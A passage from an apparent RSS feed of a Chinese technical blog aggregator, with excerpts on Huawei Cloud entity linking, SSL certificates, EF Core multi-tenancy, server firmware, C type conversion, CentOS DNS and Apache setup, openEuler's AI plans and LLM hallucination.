      <description>华为Could API人工智能系列——实体链接 前言 云原生时代，开发者们的编程方式、编程习惯都发生了天翻地覆的变化，大家逐渐地习惯在云端构建自己的应用。作为新一代的开发者们，如何更快速了解云，学习云，使用云，更便捷、更智能的开发代码，从而提升我们的开发效率，是当前最热门的话题之一，而Huawei Cloud Toolkit,作为连接华为云的百宝箱，是集成在各大IDE平台上的插件集合，会在方方面面提升着开发者的效率。&#xA;华为云API开发套件助力开发者快速集成华为云，可做到便捷连接200+的华为云服务，引用7000+的华为云API服务，在IDE中集成华为云的功能，让开发者与云端华为云建立连接。&#xA;智能编码方面集成了华为云自主研发的代码大模型和软件分析技术，全场景函数级、行级代码生成，同规模算力一次通过业界第一，这会帮助开发者更为高效的使用自动语义生成，达到快速开发的目的，使整个过程更智能。&#xA;环境准备 开发语言：Python&#xA;开发工具：PyCharm Community Edition 2023.1.4&#xA;PyCharm插件：&#xA;1、Chinese (Simplified) Language Pack /中文语言包&#xA;2、Huawei Cloud API：华为云API插件提供华为云服务全量API检索、调试、SDK代码自动补全、集成华为云CLI、示例代码等功能&#xA;3、Huawei Cloud CodeArts Check：华为云代码检查插件提供业界规范（含华为云）检查，支持一键格式化和代码自动修复，当前支持Java、C++、C，这个使您使用的环境操作即可，我这里用的python没有提示。&#xA;4、Huawei Cloud CodeArts Snap：华为云 CodeArt Snap 智能编程助手致力于打造现代化开发新范式，通过将自然语言转化为规范可阅读、无开源漏洞的编程语言，提升开发者编码效率，助力企业快速响应市场不确定性；&#xA;5、Huawei Cloud Toolkit Platform：华为云底座插件为华为云各类云服务插件提供公共能力，比如单点登录、UI集成、API访问等功能；&#xA;PyCharm环境的搭建：https://laoshifu.blog.csdn.net/article/details/135279145&#xA;API接口开通地址：https://console.huaweicloud.com/nlp/#/nlp/overview 实体链接 针对通用领域的文本进行实体链接分析,识别出其中的实体,并返回实体相关信息。 开通地址：https://console.huaweicloud.com/nlp/#/nlp/overview&#xA;开通效果：&#xA;请求参数 名称类型IN必选描述X-Auth-Tokenstringheadertrue 用户Token。 通过调用IAM服务获取用户Token接口获取(响应消息头中X-Subject-Token的值)。&#xA;project_idstringpathtrue 来自公有云的Project ID,用于资源隔离。&#xA;Body 参数 名称类型必选描述textstringtrue 待分析文本,长度为1~50,文本编码为UTF-8。&#xA;langstringfalse 支持的文本语言类型,目前只支持中文,默认为zh。&#xA;返回参数 名称类型必选描述mentionstringtrue 实体指称&#xA;offsetintegertrue 偏移量&#xA;entity_titlestringtrue 实体名称&#xA;API调试 测试文本：【周杰伦拿着他的双节棍，打着他的龙拳，向着七里香怀着不能说的秘密过去了。】&#xA;返回结果：&#xA;{ &#34;entities&#34;: [ { &#34;</description>
    </item>
    <item>
      <title>nginx,ssl,证书和校验</title>
      <link>https://bchobby.github.io/posts/be9b4c5724003fbfdb15132cca358011/</link>
      <pubDate>Tue, 02 Jan 2024 14:08:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/be9b4c5724003fbfdb15132cca358011/</guid>
      <description>1. 什么是 HTTPS# 要保证 Web 浏览器到服务器的安全连接，HTTPS 几乎是唯一选择。HTTPS 其实就是 HTTP over SSL，也就是让 HTTP 连接建立在 SSL 安全连接之上。SSL 使用证书来创建安全连接，有两种验证模式:&#xA;仅客户端验证服务器的证书，客户端自己不提供证书；&#xA;客户端和服务器都互相验证对方的证书。&#xA;普通的 Web 网站只采用第一种方式，第二种方式用于网上银行等安全性要求较高的网站。&#xA;在第二种方式中，客户端采用这种方式验证证书：服务器自己的证书必须经过某“权威”证书的签名，而这个“权威”证书又可能经过更权威的证书签名，这么一级一级追溯上去，最顶层那个最权威的证书就称为根证书。根证书直接内置在浏览器中，这样，浏览器就可以利用自己自带的根证书去验证某个服务器的证书是否有效。如果要提供一个有效的证书，服务器的证书必须从VeriSign这样的证书颁发机构签名。这样，浏览器就可以验证通过，否则，浏览器给出一个证书无效的警告。一般安全要求较高的内网环境，可以通过创建自签名 SSL 证书来加密通信。&#xA;2. 什么是数字证书# 在 HTTPS 的传输过程中，有一个非常关键的角色--数字证书，那什么是数字证书？它有什么作用呢？&#xA;所谓数字证书，是一种用于电脑的身份识别机制。由数字证书颁发机构(CA)对使用私钥创建的签名请求文件做的签名(盖章)，表示 CA 结构对证书持有者的认可。&#xA;2.1. 优点# 数字证书拥有以下几个优点:&#xA;使用数字证书能够提高用户的可信度；数字证书中的公钥，能够与服务端的私钥配对使用，实现数据传输过程中的加密和解密；在证认使用者身份期间，使用者的敏感个人数据并不会被传输至证书持有者的网络系统上。 2.2. 数字证书类型# x509 的证书编码格式有两种:&#xA;PEM(Privacy-enhanced Electronic Mail)是明文格式的，以 -----BEGIN CERTIFICATE-----开头，以-----END CERTIFICATE-----结尾。中间是经过 base64 编码的内容，apache 需要的证书就是这类编码的证书.查看这类证书的信息的命令为：openssl x509 -noout -text -in server.pem。&#xA;DER 是二进制格式的证书，查看这类证书的信息的命令为: openssl x509 -noout -text -inform der -in server.der&#xA;2.3. 扩展名# .crt 证书文件,可以是 DER(二进制)编码的，也可以是 PEM(ASCII (Base64))编码的),在类 unix 系统中比较常见；.</description>
    </item>
    <item>
      <title>Ef Core花里胡哨系列(4) 多租户</title>
      <link>https://bchobby.github.io/posts/a3898226ef0c7cdca0177f984f7fb51d/</link>
      <pubDate>Tue, 02 Jan 2024 14:02:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a3898226ef0c7cdca0177f984f7fb51d/</guid>
      <description>Ef Core花里胡哨系列(4) 多租户 当然，我们要考虑设计问题，例如，切换Schema或者改变数据库时，Ef Core同样也会刷新改实体的缓存，所以，首次查询将会很慢，不适合大表。&#xA;基于Schema实现多租户 在我的上一篇博客中 [Ef Core花里胡哨系列(3) 动态修改实体对应的表(分表)、多租户] 中我们实现了如何分表，同理，我们可以用近似的方法来切换表的Schema，只需要一点很小的改动。&#xA;public class SampleDbContext(DbContextOptions&amp;lt;SampleDbContext&amp;gt; options) : DbContext(options) { protected override void OnModelCreating(ModelBuilder modelBuilder) { modelBuilder.Entity&amp;lt;User&amp;gt;().ToTable($&#34;User{DateTime.Now.ToString(&#34;yyyyMM&#34;)}&#34;, YourSchema); base.OnModelCreating(modelBuilder); } } 基于多库实现多租户 实现切换数据库我们将会采用的是Interceptor拦截器来实现。&#xA;建议租户相关的操作采用单独的DbContext和系统表区分开。&#xA;public class TenantDbConnectionInterceptor&amp;lt;T&amp;gt; : DbConnectionInterceptor { public TenantDbConnectionInterceptor() { } public override InterceptionResult ConnectionOpening(DbConnection connection, ConnectionEventData eventData, InterceptionResult result) { connection.ConnectionString = &#34;对应租户的连接字符串&#34;; return base.ConnectionOpening(connection, eventData, result); } public override ValueTask&amp;lt;InterceptionResult&amp;gt; ConnectionOpeningAsync(DbConnection connection, ConnectionEventData eventData, InterceptionResult result, CancellationToken cancellationToken = default) { connection.</description>
    </item>
    <item>
      <title>服务器的固件和OS</title>
      <link>https://bchobby.github.io/posts/6b45f5a843d4f6983cd6726d85b4ec24/</link>
      <pubDate>Tue, 02 Jan 2024 14:02:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b45f5a843d4f6983cd6726d85b4ec24/</guid>
      <description>服务器的固件和OS&#xA;服务器的固件主要包括BIOS或UEFI、BMC、CMOS，OS包括32位和64位。&#xA;1）BIOS&#xA;（Basic input/ Output System）&#xA;即基本输入输出系统，是服务器启动后最先运行的软件。它包括基本输入输出控制程序、上电自检程序、系统启动自检程序、系统设置信息。BIOS是服务器硬件和OS之间的抽象层，用来设置硬件，为OS运行做准备。BIOS设置程序是储存在BIOS芯片中的。BIOS的进化版本是UEFI（Unified Extensible FirmwareInterface），即统一的可扩展固定接口。这种接口用于操作系统自动从预启动的操作环境，加载到一种操作系统上，从而使开机程序化繁为简，节省时间。&#xA;2）BMC&#xA;（Baseboard Management Montroller）&#xA;即基板管理控制器，主要是对服务器进行监控和管理。BMC可以在服务器未开机的状态下，对机器进行固件升级、查看机器设备等。&#xA;3）CMOS&#xA;（Complementary metal-oxide-semiconductor）&#xA;是电脑主机板上一块特殊的RAM芯片，是系统参数存放的地方。CMOS存储器用来存储BIOS设定后的相关参数。&#xA;4）OS&#xA;（Operating system）&#xA;即操作系统，对服务器软硬件及数据资源进行管理调度。OS主要分为32位和64位，OS的位数版本决定了计算机处理器在RAM（随机存取储存器）处理信息的效率，64位版本比32位的可以处理更多的内存和应用程序。</description>
    </item>
    <item>
      <title>[linux c/c&#43;&#43;] 字符串分割函数 sscanf</title>
      <link>https://bchobby.github.io/posts/60b718e67cffd272819e03770003ee02/</link>
      <pubDate>Tue, 02 Jan 2024 14:01:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/60b718e67cffd272819e03770003ee02/</guid>
      <description>参考： sscanf函数详细介绍及使用方法解析-CSDN博客</description>
    </item>
    <item>
      <title>AI加持，openEuler打造数字基础设施全场景操作系统</title>
      <link>https://bchobby.github.io/posts/4d3a2941311b4ddf3ed5c1b1628fc889/</link>
      <pubDate>Tue, 02 Jan 2024 13:36:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d3a2941311b4ddf3ed5c1b1628fc889/</guid>
      <description>大模型的东风席卷全球，一些行业已开始基于大模型重构。在数智未来的世界里，AI无疑将扮演重要角色。通过与不同基础技术及产品的结合，AI将促进各领域技术的持续创新，作为核心基础软件的操作系统也不例外。“崛起数字时代，引领数智未来。”在操作系统大会 &amp;amp; openEuler Summit 2023 上，我们发现面向数智未来，openEuler 已提前进行布局。&#xA;一直以来，openEuler聚焦根技术的投入，为千行百业构建坚实的软件根基。目前openEuler系累计装机量已超过610万套，成为首个改变软件操作系统格局的开源操作系统。据IDC预测，2023年openEuler系在中国服务器操作系统市场份额第一，达到 36.8%。面向数智未来，openEuler与AI全面结合，打造面向数字基础设施全场景操作系统，为更多用户提供技术便捷。&#xA;01&#xA;面向智能新时代&#xA;openEuler使能AI更高效&#xA;在过去的四年里，openEuler社区快速发展。据开放原子开源基金会TOC副主席、openEuler委员会执行总监熊伟回顾，openEuler 社区建立之初，每天活跃的开发者仅两三百人，但如今已汇聚16800+名开源贡献者，日活用户超4259人。开发者在系统特性、创新及漏洞修复方面提供了大量的帮助。此外，openEuler社区积累超过1300+的企业和合作伙伴。&#xA;开放原子开源基金会TOC副主席、openEuler委员会执行总监熊伟&#xA;当诸多的用户和合作伙伴加入openEuler社区，那么未来的openEuler将会走向何方呢？在过去，openEuler有两个技术支柱，全场景和多样性算力。伴随大模型等新技术的不断发展，openEuler 增加第三个技术支柱——智能化，数字openEuler将逐步演化为智慧openEuler，成长为面向多样性算力和智能时代的下一代OS。&#xA;智能的边界在持续拓展，作为连接硬件和应用之间的桥梁，操作系统拥抱数智未来，与AI结合是一种必然趋势。&#xA;openEuler技术委员会主席胡欣蔚表示，在当前硬件趋势下，有越来越多智能的多样性算力需要做高效协同，也有越来越多泛在智能应用需要快速介入。为了实现这样的愿景，openEuler希望做到0门槛、0损耗和0介入的效果。对于普通用户部署和安装智能应用，帮助用户做到“0”门槛；对于智能应用在多样性算力上运行，操作系统让智能算力“0”损耗；在智能应用日常运维过程中，系统管理员对系统日常工作“0”介入。&#xA;因此，openEuler通过“openEuler for AI”和“AI for openEuler”两点，实现AI全栈使能，打造容器化的、开箱即得即用的方案。&#xA;“openEuler for AI”是一种对于生态边界的拓展，未来openEuler全面增强对于AI的契合度，支持更多主流的智能应用和语言大模型，实现智能能力升级。AI的生态构建并不容易，当下我们可以看到一些 AI 产品、技术生态、基础设施等各自为战，但随着市场的逐渐成熟，AI全栈使能是未来发展的一种必然结果。&#xA;全栈使能将让openEuler的用户在未来使用智能应用时，通过openEuler提供的容器化方案开箱即用，同时也可以自动适配硬件环境，达到性能最优。openEuler的全栈使能还包括两层含义。首先是对各类应用、模型、工具、框架的支持优化，如AquilaDB等向量数据库，Llama、ChatGLM等业内流行的大模型，cuda、rocm、openvino等工具链，以及PyTorch、TensorFlow等AI框架。此外，由于AI硬件的复杂性，openEuler也针对AI硬件亲和等提供了广泛支持，一系列的升级将会极大地提升用户的AI开发使用效率。&#xA;其次是对于开发者的支持，openEuler在AI可用性、适配性方面不断优化，并对训练及推理推环境的容器化封装、镜像一键拉取等进行了升级，为开发者提供了即得即用的能力，实现AI环境部署的“0”门槛。&#xA;当前，我们进入多样性算力的时代，软硬件的共同发展给操作系统调度重新设计的空间。通过 CPU 的SMT架构，给操作系统预先部署任务的机会，而GPU也可通过硬件warp切换来避免暂停等问题。因此，如何将独立的异构设备汇聚在一起，统一调配资源，解决算力浪费和异构内存编程的复杂性是个重要课题。&#xA;在传统意义上，不同的异构算力对于内存的管理是完全割裂的，相互之间也很难形成共享。而“openEuler for AI”的另一个重要价值就是异构融合，其核心思路是将独立的异构设备汇聚在一起，统一调配资源，解决算力浪费严重和异构内存编程复杂两个问题。通过在openEuler中引入的异构内核管理，可以在CPU和NPU通过共享页表的方式实现统一编址，使得双方可以互用内存，达成内存“透明”扩容、超分，这样可以提升推理场景吞吐量提升50%，并极大的简化内存管理的需求成本，以往多套内存接口简化为一套，异构驱动代码也能从万行下降到百行。&#xA;02&#xA;大模型与OS协同成趋势&#xA;AI 赋能openEuler更智能&#xA;从今年的技术发展来看，大模型让更多人看到操作系统新的可能。举例来看，2023年，微软宣布将GPT-4大模型嵌入到Windows里，实现操作系统从图形交互升级到自然语言交互，这将有望改变沿用近三十年的系统交互方式。Windows Copilot 将登陆 Windows 11 中的任务栏，帮助用户更加轻松的查找和变更设置，避免繁琐选项和操作流程桎梏。&#xA;在云上，传统复杂的运维工作也有望被大模型改变。基于大模型实现的云上故障根因分析和消减措施制定表现出色，得到超过7成运维人员的认可；在任务协同方面，将软件开放API提供给AI来控制完成复杂任务，实现超出助手和工具的出色表现，这可以让整体系统价值实现提升。&#xA;当大模型、大算力为代表的人工智能创新技术不断发展，AI持续加速进入千行百业，操作系统也需要不断向AI演进。在这一背景下，大模型与OS协同优化已成趋势，操作系统将出现大变局，数字openEuler将演化为智慧openEuler。&#xA;智慧openEuler带来了系统交互的变革。例如，开发者在日常工作中，可能会使用各种编程语言，但无论哪种都很难像我们的母语一样自然、便捷。那么，是否有可能通过工具实现自然语言和操作系统交互，进而减轻写脚本、配置参数或者调试等方面的工作强度呢？openEuler使用ChatGLM基础模型，基于大量openEuler的代码和数据，训练出EulerCopilot，初步实现代码辅助生成、问题智能分析、系统辅助运维等功能，让openEuler更智能。EulerCopilot将会使得人和机器之间的交互发生巨大变化，而这也是“AI for openEuler”的一项重要改变。&#xA;如果说“openEuler for AI”带来了新的生命力，那么“AI for openEuler”注入了新的活力。基于openEuler社区已积累的技术，EulerCopilot为用户提供更便捷的人工智能能力和丰富的作业入口，用户可以通过公众号、WEB界面、SHELL、IDE等方式进行互动。EulerCopilot集成OS领域的海量知识，可以回答开发者的各类专业问题，自动补齐未完成的代码段，甚至能够完成“系统性能诊断”等诉求，并自动生成诊断报告和调优意见。&#xA;03&#xA;值得想象的广袤空间&#xA;在数智未来里，openEuler将会作为一个载体，把AI的能力不断的输入到服务器、云、边缘计算、嵌入式等多应用场景之中，推动千行百业实现数字化升级。当然，数智未来需要有不一样的基础设施，openEuler开源社区技术委员会委员吴峰光表示：“在AI的时代，社区在迈向智能化协作，我们正在探索用AI赋能社区的协作。”openEuler打造了基础设施2.0，支持全球化开发，全场景构建，全链路协作，以帮助更多人获取AI能力。&#xA;此外，openEuler的重要发展方向是出海和全球化。吴峰光表示，openEuler建立之初就决定全面全球化，在立足国内做好自主创新之后，就要走向海外汇聚全球开发者，来openEuler社区做原生开发。因此，开放原子基金会和很多基金会组织及上游社区项目等形成了连接，互相进行版本认证，互相完成项目工作。这样才能持续汇聚全球开源力量，为世界开源贡献中国智慧。&#xA;由于OS源代码采用了新的架构，因此需要从SPEC转为YAML，这将会有助于全场景能力构建。YAML的优点是通用性好且门槛低。这意味着其开发者基础更好，几乎人人会用，可以快速获取群众基础。通用的配置语言，也可以用于打造开箱即用的定制能力，支持任意YAML字段定制，适配众多格式的上游软件，而且OS支持分层定制，通过EulerMaker和EulerTest构建面向多场景的软件。&#xA;为解决上游软件推广给用户困难以及用户声音传递给上游不畅的问题，openEuler在基础设施方面通过应用软件平台，打通了从上游到用户的链路，实现了真正意义上的全链路协作。这显然不是openEuler的终极形态，预计在2024年5月，openEuler还将会发布全新内核的24.03LTS版本，进一步提升全场景能力。以Linux6.6作为内核，实现生态统一。打造全新的EEVDF调度器和folio内存管理机制，进一步提升调度和内存使用效率，在IO管理、新网络标准支持以及对CXL的支持上有着全面的提升。&#xA;面向不同的使用场景，24.03LTS版本也将提供不同的优化升级。在云计算场景下，通过CPU聚合调度，将低负载算力智能聚合，实现负载与算力协同；提供openEuler配套的云原生最小集发行版，支持一键部署；在嵌入式场景将发布面向服务器BMC的原创开源项目MetaBMC，提供原生内置openEuler的标准化开发板“openEuler派”及工业机器人框架“openEuler臂”。&#xA;当然，在AI方面，openEuler还将继续进化。除了EulerCopilot，还将实现操作系统“自优化”的智能调优，这对于开发者而言将提供巨大帮助，在应用运行中通过感知业务特征，动态调整调度优先级、配置参数等优化策略，可实现场景化性能15%以上的提升。&#xA;极目登高处，有朋远方来。AI的发展从来不是一家企业、一个社区就能推动的。而openEuler将通过成立学习小组、制定新的规格等举措推进行业发展，致力于成为AI领域的领导者。当AI与OS互相成就，未来的开发者将有望创造更大的价值，完成更多的技术创新。&#xA;推荐阅读&#xA;↑限时五折优惠↑</description>
    </item>
    <item>
      <title>【C语言】隐式类型转换和强制类型转换详解</title>
      <link>https://bchobby.github.io/posts/0b1c87ef8d0d484ba5d1d639604ee3d4/</link>
      <pubDate>Tue, 02 Jan 2024 13:35:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0b1c87ef8d0d484ba5d1d639604ee3d4/</guid>
      <description>文章目录 前言隐式类型转换整型提升算数转换 强制类型转换总结 前言 提示：这里可以添加本文要记录的大概内容：&#xA;C语言中的数据类型是编程中一个至关重要的概念。在处理不同数据类型的操作时，我们经常需要考虑类型之间的转换。C语言提供了两种主要的类型转换方式：隐式类型转换（也称自动类型转换）和强制类型转换（也称显式类型转换）。本博客将深入讨论这两种转换方式的概念、用法以及注意事项，帮助读者更好地理解C语言中的类型转换机制。&#xA;提示：以下是本篇文章正文内容，下面案例可供参考&#xA;隐式类型转换 隐式类型转换主要包括两个方面：整型提升和算数转换&#xA;整型提升 C语言中整型算数运算总是至少以缺省（默认）整型类型的精度来进行的。&#xA;为了获得这个精度，表达式中的字符和短整型操作数在使用之前被替换成普通整型，这种转换就称为整型提升。&#xA;整形提升前提条件：只有当表达式中出现长度可能小于int型的整形值时，才须要对该值进行整型提升转换为int或unsigned int型，然后再送入CPU去执行运算。&#xA;整形提升的规则：对于有符号的整形变量来说，整型提升是在高位补变量的符号位；而对于无符号的整形变量来说，整形提升是直接高位补0来实现的。&#xA;整型提升的意义 表达式的整型运算要在CPU的相应运算器件内执行，CPU内整型运算器(ALU)的操作数的字节长度⼀般就是int的字节长度，同时也是CPU的通用寄存器的长度。&#xA;因此，即使两个char类型的相加，在CPU执行时实际上也要先转换为CPU内整型操作数的标准长度。&#xA;通用CPU（general-purpose CPU）是难以直接实现两个8比特字节直接相加运算（虽然机器指令中可能有这种字节相加指令）。所以，表达式中各种长度可能小于int长度的整型值，都必须先转换为int或unsigned int，然后才能送入CPU去执行运算&#xA;如何进行整型提升 有符号整数的整型提升是按照变量的数据类型的符号位来提升的无符号整数的整型提升，高位补0 示例：&#xA;通过代码来证明，上述结果的正确性&#xA;#include &amp;lt;stdio.h&amp;gt; int main() { char c1 = -1; char c2 = 1; unsigned char c3 = -1; unsigned char c4 = 1; printf(&#34;%d\n&#34;, c1); printf(&#34;%d\n&#34;, c2); printf(&#34;%d\n&#34;, c3); printf(&#34;%d\n&#34;, c4); return 0; } 运行结果&#xA;从结果可以看出，程序的输出完全符合我们的预期&#xA;算数转换 我们刚刚讨论的是类型小于整形的情况，而算数转换是用来处理这些大于等于整形的情况。如果某个操作符的各个操作数属于不同的类型，那么计算是无法进行下去的，除非将这些操作数全都转化为同一类型。寻常算数转换的方向：int→unsigned int→long int→unsigned long int→float→double→long double。&#xA;图解</description>
    </item>
    <item>
      <title>OS 7--DNS配置&#43;Apache发布网站</title>
      <link>https://bchobby.github.io/posts/65d1da92327ec258f4e364a327691e55/</link>
      <pubDate>Tue, 02 Jan 2024 13:31:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/65d1da92327ec258f4e364a327691e55/</guid>
      <description>环境准备&#xA;centOS 7&#xA;1.配置DNS 1.1 域名为lianxi.com 1.2 为WWW服务器、FTP服务器、NEWS服务器做域名解析 1)安装DNS&#xA;yum -y install bind bind-utils&#xA;(如果安装不上，就把磁盘在重洗挂载一下）&#xA;2）修改DNS配置文件&#xA;vim /etc/resolv.conf&#xA;本地解析（本地dns就是虚拟机的IP地址，把现有nameserver都注释掉）&#xA;vim /etc/named.com/&#xA;在全局配置文件中添加两个any&#xA;检查配置文件/etc/named.conf有没有错误&#xA;named- checkconf /etc/named.conf&#xA;3)在区域声明文件中添加两个区域（正向区域和反向区域）&#xA;[root@ljy named]# vim /etc/named.rfc1912.zones&#xA;4)创建正向解析文件和反向解析文件&#xA;[root@ljy ~]# named-checkconf /etc/named.conf&#xA;[root@ljy ~]# cd /var/named/&#xA;[root@ljy named]# ls&#xA;abc.fx data lianxi.com.zone lianxi.zx named.empty&#xA;named.loopback abc.zx dynamic lianxi.fx named.ca named.localhost slaves&#xA;[root@ljy named]# vim named.localhost&#xA;[root@ljy named]#cp named.loopback lianxi..fx&#xA;[root@ljy named]# vim lianxi.fx&#xA;[root@ljy named]#cp named.</description>
    </item>
    <item>
      <title>编程语言的进化：智能化与多样化的未来</title>
      <link>https://bchobby.github.io/posts/bb4a08fca37632c2f5ad526c7953244d/</link>
      <pubDate>Tue, 02 Jan 2024 13:18:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bb4a08fca37632c2f5ad526c7953244d/</guid>
      <description>作为沟通人类与机器的桥梁，编程语言的发展一直是技术进步的重要推动力。在技术的金字塔上，编程语言作为软件开发的基石，其每一次革新都将引领着信息时代的下一个潮流。从早期的机器码，到现代的高级语言，编程语言的进化不仅加速了软件的生产，还不断地拓宽着人类与计算机世界的互动界限。未来，随着人工智能和高级抽象的兴起，编程语言的面貌将会怎样变革呢？在科技快速前行的未来，编程语言会向何方航行？&#xA;一、编程语言的发展趋势 当前，编程语言正在变得更加「人性化」和「智能化」。随着人工智能和机器学习的融入，新的编程范式将不再仅是程序员的指令集合，而是能够主动推理、学习和适应。语言简洁性、代码可复用性及更强大的类型系统等特性，将使得新语言更加易于开发和维护。然而，这也带来了新的挑战：程序员需要不断学习新的概念和技术来适应这一变化。&#xA;在未来的发展中，编程语言可能朝着更加高效、直观和智能化的方向发展。随着量子计算的兴起，我们可能会看到专为量子计算机设计的新编程语言，这些语言将原生支持量子逻辑和量子算法。另一方面，领域特定的编程语言（Domain-Specific Languages, DSLs）将更加普及，这些语言更精细地针对特定行业或任务提供优化，增强开发效率和性能。&#xA;二、编程语言的多样性 编程语言的多样性是其生命力的关键。未来的语言不仅需要在语法上更加清晰，还应该在跨平台性和互操作性上进行革新。一种可能的情景是，各种编程语言将通过统一的标准或协议实现更顺畅的交互和集成，这将允许开发者根据实际需要选择最适合的工具。&#xA;多样性是编程领域的一大特色，不同的语言针对不同的应用场景。随着计算设备的日益普及，未来的编程语言预计会诞生更多专门化的分支，满足物联网、边缘计算、量子计算等新兴领域的特定需求。同时，互操作性、可移植性和跨平台性将成为衡量编程语言成功与否的重要标准。多语言运行时和语言桥梁技术的发展，将使得不同语言之间的界限越来越模糊。&#xA;三、编程语言与人工智能的融合 自然语言处理、机器学习、深度学习正成为编程语言不能忽视的组成部分。未来的编程语言可能内建更多智能化的特性，比如自动代码优化和错误预防，甚至直接支持机器学习模型的训练和部署。程序员将能够利用这些语言更加高效地开发复杂的AI系统，并将智能应用于传统的软件开发流程中。&#xA;编程语言与人工智能的深度融合将推动未来编程的智能化。编程语言可能将内置更多支持机器学习和自然语言处理的库和框架，从而简化人工智能应用的开发过程。此外，未来的编程语言可能提供更高水平的抽象，允许开发人员用接近自然语言的方式来描述复杂算法和数据流。&#xA;四、编程语言的教育和普及 随着编程的重要性日益凸显，未来编程教育将更加注重逻辑思维和创造力的培养。不仅是计算机专业，编程也将成为通识教育的一部分。在线教育平台和交互式学习工具的发展，将使得编程学习更加容易和普及。此外，从游戏化教学到虚拟现实编程环境，未来的编程教育将变得更加直观和吸引人。&#xA;五、编程语言的生态系统和工具 良好的生态系统和强大的工具集是编程语言成功的关键。在未来，随着云计算和DevOps文化的普及，便捷的云端开发环境、自动化的测试框架、智能化的代码审查工具和更加先进的版本控制系统将成为标配。编程语言的生态系统将不断丰富，以支持更快的迭代和更高质量的软件开发。同时，随着开源文化的发展，社区驱动的项目将成为编程语言生态发展不可或缺的一部分。&#xA;结论 编程语言未来的发展将是一个多元化、智能化并且紧密结合教育及社区力量的过程。它们将更加人性化，随着新技术的涌现，新语言和范式将不断出现并满足人们不断变化的需求。最重要的是，未来的编程语言和环境将更好地支撑人类创造力的展现，无论对于专业的软件工程师，还是对于学生和业余爱好者。&#xA;未来的编程语言将会更加强大、智能和多样化，它们将更紧密地与人工智能技术结合，同时也将变得更加易于学习和使用。它们的发展将推动整个软件行业的进步，促进人类与计算机的更深层次互动。如此一来，我们可以期待，编程语言将继续作为技术创新的引擎，驱动着整个数字世界的演化。</description>
    </item>
    <item>
      <title>克服幻觉：提升语言模型在自然语言处理中的准确性与可靠性</title>
      <link>https://bchobby.github.io/posts/bc08f7b61e8540e70453fe87e59d8826/</link>
      <pubDate>Tue, 02 Jan 2024 12:47:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bc08f7b61e8540e70453fe87e59d8826/</guid>
      <description> 随着语言模型（LLM）在自然语言处理（NLP）中的应用日益普及，它们在文本生成、机器翻译、情感分析等许多任务中展现出惊人的能力。然而，这些模型也常常显示出一个被称作“幻觉”（hallucination）的现象，即模型生成不切实际或与事实不符的内容。这不仅影响用户对结果的信任度，也可能在特定应用中造成严重的后果。因此，理解幻觉现象的起因和寻找有效的解决策略是至关重要的。&#xA;产生幻觉的原因 1. 数据偏差： LLM的训练依赖于大量的文本数据。如果训练数据包含偏见、错误或不精确的信息，模型就可能学会并复制这些问题。&#xA;2. 过度泛化： 模型可能过分泛化训练数据中的模式，导致在特定情况下产生错误的关联或假设。&#xA;3. 上下文无关性： LLM可能不足够理解或利用上下文信息，产生的句子虽然在语法上正确，但在实际上下文中不合适或不准确。&#xA;4. 缺乏世界知识： 语言模型通常不具备现实世界的常识知识，这可能导致它们生成不符合现实的叙述。&#xA;5. 编码限制： 模型的内部编码机制可能无法准确捕捉和代表复杂的人类语言和思维模式。&#xA;6. 过度自信： 现有的模型往往缺乏对自身不确定性的评估，从而过度自信地输出错误的信息。&#xA;解决策略 1. 数据清洗与均衡： 通过筛选和校正训练数据来减少偏差，确保数据集的多样性和质量控制。&#xA;2. 增量学习和适应性： 采用增量学习方法，不断更新模型以适应新的数据和反馈，从而改进它们的表现。&#xA;3. 上下文增强模型： 设计和采用更加复杂的模型架构，以便更好地利用和理解上下文信息。&#xA;4. 知识融入： 整合外部知识库，使模型在生成内容前能参考现实世界的常识和事实。&#xA;5. 交互式学习： 允许模型通过与人类用户的交互来学习和调整输出，使模型更加适应实际使用场景。&#xA;6. 输出审查与验证： 在模型输出前实施自动或人工检查流程，验证内容的准确性和适用性。&#xA;7. 责任明确与用户教育： 清晰地界定模型的使用限制，并教育用户理解模型输出的潜在偏差，并具备批判性的使用模式。&#xA;8. 不确定性建模： 使模型能够评估其自身的不确定性，并在不确定或可能出现错误的情况下表明自己的置信度较低。&#xA;尽管幻觉现象是LLM当前需要面对的挑战之一，通过以上策略的实施和技术的持续进步，我们可以逐步减少幻觉的发生，进而提升语言模型的准确性与可靠性，使其在多种应用中都能提供更为真实和有用的信息。&#xA;大模型技术的未来 展望未来，大模型技术将可能持续朝着更高的语言理解和生成能力发展。随着算法的进步、计算资源的增加和更高质量数据集的可用性提升，我们可以预见更加精准、更少‘幻觉’现象的模型将会出现。这些模型不仅会提高自然语言处理的准确度，还将引领智能对话系统、自动化写作助手和变革性的知识发现工具的未来。此外，随着对大模型可解释性和责任性的追求加深，我们可能会看到更加透明和可信赖的AI系统出现，这些系统不但能够和用户更好地交互，同时也能在道德和法律框架内有效运作。 </description>
    </item>
    <item>
      <title>互联网加竞赛 基于GRU的 电影评论情感分析 - python 深度学习 情感分类</title>
      <link>https://bchobby.github.io/posts/2942821760449a18521667cb70b9fa52/</link>
      <pubDate>Tue, 02 Jan 2024 12:34:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2942821760449a18521667cb70b9fa52/</guid>
